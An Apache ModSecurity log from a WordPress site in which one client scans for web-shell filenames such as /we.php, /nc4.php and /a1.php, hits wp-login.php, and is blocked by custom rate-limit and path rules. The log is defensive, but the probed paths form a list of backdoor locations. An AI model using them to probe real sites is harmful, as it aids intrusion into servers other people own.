[Wed Jan 14 06:27:45.837575 2026] [:error] [pid 24603:tid 24688] [client 4.213.64.52:4896] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aWbG4ZPBJGFGN8VT8_SxUgAAAJc"]
[Wed Jan 14 06:27:46.113099 2026] [:error] [pid 58868:tid 58885] [client 4.213.64.52:4497] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aWbG4k67yj8PZAmdsblyfQAAAU8"]
[Wed Jan 14 06:27:46.387262 2026] [:error] [pid 24602:tid 24647] [client 4.213.64.52:4958] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aWbG4kooYwabcb9R9fxAqQAAAEk"]
[Wed Jan 14 06:27:46.664089 2026] [:error] [pid 24602:tid 24649] [client 4.213.64.52:4543] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aWbG4kooYwabcb9R9fxArAAAAEs"]
[Wed Jan 14 06:27:46.939137 2026] [:error] [pid 58901:tid 58951] [client 4.213.64.52:5066] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aWbG4r3kQSrcqIWtO0o4XQAAAdU"]
[Wed Jan 14 06:27:47.216396 2026] [:error] [pid 24601:tid 24631] [client 4.213.64.52:4810] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aWbG40CtWkZ9rlKW5n-KHQAAABU"]
[Wed Jan 14 06:27:47.497255 2026] [:error] [pid 24601:tid 24629] [client 4.213.64.52:4945] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aWbG40CtWkZ9rlKW5n-KHwAAABM"]
[Wed Jan 14 06:27:47.770288 2026] [:error] [pid 59074:tid 59092] [client 4.213.64.52:4485] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aWbG40_KrJ818pzhB3xwCAAAAlA"]
[Wed Jan 14 06:27:48.075408 2026] [:error] [pid 58977:tid 58993] [client 4.213.64.52:4866] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aWbG5LlT6ggZLRx9QvALIQAAAg0"]
[Wed Jan 14 06:27:48.354626 2026] [:error] [pid 59074:tid 59081] [client 4.213.64.52:4526] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aWbG5E_KrJ818pzhB3xwCwAAAkU"]
[Wed Jan 14 06:27:48.627158 2026] [:error] [pid 58868:tid 58890] [client 4.213.64.52:4511] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aWbG5E67yj8PZAmdsblyfgAAAVQ"]
[Wed Jan 14 06:27:48.901337 2026] [:error] [pid 24602:tid 24639] [client 4.213.64.52:4859] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aWbG5EooYwabcb9R9fxArgAAAEE"]
[Wed Jan 14 06:27:49.178699 2026] [:error] [pid 58901:tid 58942] [client 4.213.64.52:4867] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aWbG5b3kQSrcqIWtO0o4XwAAAcw"]
[Wed Jan 14 06:27:49.464746 2026] [:error] [pid 58699:tid 58706] [client 4.213.64.52:4907] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aWbG5eYdPBtkMLK2Sdq2ngAAAQQ"]
[Wed Jan 14 06:27:49.764511 2026] [:error] [pid 59074:tid 59079] [client 4.213.64.52:4524] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aWbG5U_KrJ818pzhB3xwDQAAAkM"]
[Wed Jan 14 06:27:50.039260 2026] [:error] [pid 58899:tid 58908] [client 4.213.64.52:4825] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aWbG5gWViGQd5R44tHF95QAAAYU"]
[Wed Jan 14 06:27:50.313044 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:4507] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aWbG5r3kQSrcqIWtO0o4YgAAAdE"]
[Wed Jan 14 06:27:50.629474 2026] [:error] [pid 24601:tid 24612] [client 4.213.64.52:4535] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aWbG5kCtWkZ9rlKW5n-KIgAAAAI"]
[Wed Jan 14 06:27:50.903736 2026] [:error] [pid 58901:tid 58940] [client 4.213.64.52:4515] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aWbG5r3kQSrcqIWtO0o4ZQAAAco"]
[Wed Jan 14 06:27:51.180497 2026] [:error] [pid 58901:tid 58938] [client 4.213.64.52:4873] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aWbG573kQSrcqIWtO0o4ZgAAAcg"]
[Wed Jan 14 06:27:51.460356 2026] [:error] [pid 24710:tid 24733] [client 4.213.64.52:4824] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aWbG52XBo5bEhDEEhs1z6gAAANU"]
[Wed Jan 14 06:27:51.741657 2026] [:error] [pid 58899:tid 58910] [client 4.213.64.52:4742] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aWbG5wWViGQd5R44tHF9-AAAAYc"]
[Wed Jan 14 06:27:52.032054 2026] [:error] [pid 58901:tid 58936] [client 4.213.64.52:4503] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aWbG6L3kQSrcqIWtO0o4aQAAAcY"]
[Wed Jan 14 06:27:52.312921 2026] [:error] [pid 24601:tid 24616] [client 4.213.64.52:5088] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aWbG6ECtWkZ9rlKW5n-KJAAAAAY"]
[Wed Jan 14 06:27:52.601857 2026] [:error] [pid 58899:tid 58925] [client 4.213.64.52:4920] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aWbG6AWViGQd5R44tHF-AgAAAZY"]
[Wed Jan 14 06:27:52.907840 2026] [:error] [pid 58901:tid 58952] [client 4.213.64.52:4934] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aWbG6L3kQSrcqIWtO0o4bAAAAdY"]
[Wed Jan 14 06:27:53.214245 2026] [:error] [pid 24602:tid 24658] [client 4.213.64.52:4973] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aWbG6UooYwabcb9R9fxArwAAAFQ"]
[Wed Jan 14 06:27:53.531920 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:4537] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aWbG6b3kQSrcqIWtO0o4bgAAAcI"]
[Wed Jan 14 06:27:53.876211 2026] [:error] [pid 58977:tid 58994] [client 4.213.64.52:4905] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locale.php"] [unique_id "aWbG6blT6ggZLRx9QvALJAAAAg4"]
[Wed Jan 14 06:27:54.193874 2026] [:error] [pid 24710:tid 24729] [client 4.213.64.52:4977] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locale.php"] [unique_id "aWbG6mXBo5bEhDEEhs1z9AAAANE"]
[Wed Jan 14 06:27:54.511055 2026] [:error] [pid 58699:tid 58723] [client 4.213.64.52:4925] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locale.php"] [unique_id "aWbG6uYdPBtkMLK2Sdq2pwAAARU"]
[Wed Jan 14 06:27:54.847093 2026] [:error] [pid 24601:tid 24618] [client 4.213.64.52:4960] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locale.php"] [unique_id "aWbG6kCtWkZ9rlKW5n-KJgAAAAg"]
[Wed Jan 14 06:27:55.154201 2026] [:error] [pid 58868:tid 58873] [client 4.213.64.52:4501] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aWbG6067yj8PZAmdsblyggAAAUM"]
[Wed Jan 14 06:27:55.467765 2026] [:error] [pid 58699:tid 58720] [client 4.213.64.52:4975] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aWbG6-YdPBtkMLK2Sdq2rQAAARI"]
[Wed Jan 14 06:27:55.799067 2026] [:error] [pid 58901:tid 58942] [client 4.213.64.52:4927] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aWbG673kQSrcqIWtO0o4cQAAAcw"]
[Wed Jan 14 06:27:56.107633 2026] [:error] [pid 58899:tid 58911] [client 4.213.64.52:4923] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aWbG7AWViGQd5R44tHF-EwAAAYg"]
[Wed Jan 14 06:27:56.443980 2026] [:error] [pid 24601:tid 24620] [client 4.213.64.52:4955] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bp.php"] [unique_id "aWbG7ECtWkZ9rlKW5n-KKAAAAAo"]
[Wed Jan 14 06:27:56.787736 2026] [:error] [pid 59074:tid 59089] [client 4.213.64.52:4851] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bp.php"] [unique_id "aWbG7E_KrJ818pzhB3xwDgAAAk0"]
[Wed Jan 14 06:27:57.096209 2026] [:error] [pid 58868:tid 58894] [client 4.213.64.52:4504] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bp.php"] [unique_id "aWbG7U67yj8PZAmdsblygwAAAVg"]
[Wed Jan 14 06:27:57.404322 2026] [:error] [pid 58868:tid 58879] [client 4.213.64.52:4843] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bp.php"] [unique_id "aWbG7U67yj8PZAmdsblyhQAAAUk"]
[Wed Jan 14 06:27:57.717504 2026] [:error] [pid 58868:tid 58870] [client 4.213.64.52:4872] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aWbG7U67yj8PZAmdsblyiAAAAUA"]
[Wed Jan 14 06:28:01.955612 2026] [:error] [pid 24603:tid 24667] [client 4.213.64.52:35024] [client 4.213.64.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.64.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWbG8ZPBJGFGN8VT8_SxcwAAAII"]
[Wed Jan 14 06:28:21.462369 2026] [:error] [pid 58977:tid 59002] [client 4.213.64.52:4984] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aWbHBblT6ggZLRx9QvALPwAAAhY"]
[Wed Jan 14 06:28:21.739287 2026] [:error] [pid 24710:tid 24712] [client 4.213.64.52:4841] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aWbHBWXBo5bEhDEEhs10CQAAAMA"]
[Wed Jan 14 06:28:22.013559 2026] [:error] [pid 24601:tid 24620] [client 4.213.64.52:4538] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aWbHBkCtWkZ9rlKW5n-KNgAAAAo"]
[Wed Jan 14 06:28:22.292300 2026] [:error] [pid 58977:tid 58983] [client 4.213.64.52:4803] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aWbHBrlT6ggZLRx9QvALQAAAAgM"]
[Wed Jan 14 06:28:22.571142 2026] [:error] [pid 58977:tid 58988] [client 4.213.64.52:4522] [client 4.213.64.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aWbHBrlT6ggZLRx9QvALQQAAAgg"]
[Wed Jan 14 06:28:22.849348 2026] [:error] [pid 58899:tid 58920] [client 4.213.64.52:4531] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aWbHBgWViGQd5R44tHF-GgAAAZE"]
[Wed Jan 14 06:28:23.120059 2026] [:error] [pid 24601:tid 24634] [client 4.213.64.52:4746] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aWbHB0CtWkZ9rlKW5n-KNwAAABg"]
[Wed Jan 14 06:28:23.410256 2026] [:error] [pid 24603:tid 24682] [client 4.213.64.52:4902] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aWbHB5PBJGFGN8VT8_Sx0QAAAJE"]
[Wed Jan 14 06:28:23.679637 2026] [:error] [pid 24601:tid 24622] [client 4.213.64.52:4523] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aWbHB0CtWkZ9rlKW5n-KOQAAAAw"]
[Wed Jan 14 06:28:23.963887 2026] [:error] [pid 24601:tid 24617] [client 4.213.64.52:4849] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aWbHB0CtWkZ9rlKW5n-KOgAAAAc"]
[Wed Jan 14 06:28:24.238307 2026] [:error] [pid 24602:tid 24646] [client 4.213.64.52:4805] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aWbHCEooYwabcb9R9fxAwwAAAEg"]
[Wed Jan 14 06:28:24.517950 2026] [:error] [pid 24603:tid 24677] [client 4.213.64.52:4878] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aWbHCJPBJGFGN8VT8_Sx0wAAAIw"]
[Wed Jan 14 06:28:24.793421 2026] [:error] [pid 58868:tid 58874] [client 4.213.64.52:4874] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff2.php"] [unique_id "aWbHCE67yj8PZAmdsblylwAAAUQ"]
[Wed Jan 14 06:28:25.070150 2026] [:error] [pid 24603:tid 24689] [client 4.213.64.52:4850] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff2.php"] [unique_id "aWbHCZPBJGFGN8VT8_Sx1AAAAJg"]
[Wed Jan 14 06:28:25.353969 2026] [:error] [pid 58977:tid 58998] [client 4.213.64.52:4800] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff2.php"] [unique_id "aWbHCblT6ggZLRx9QvALQgAAAhI"]
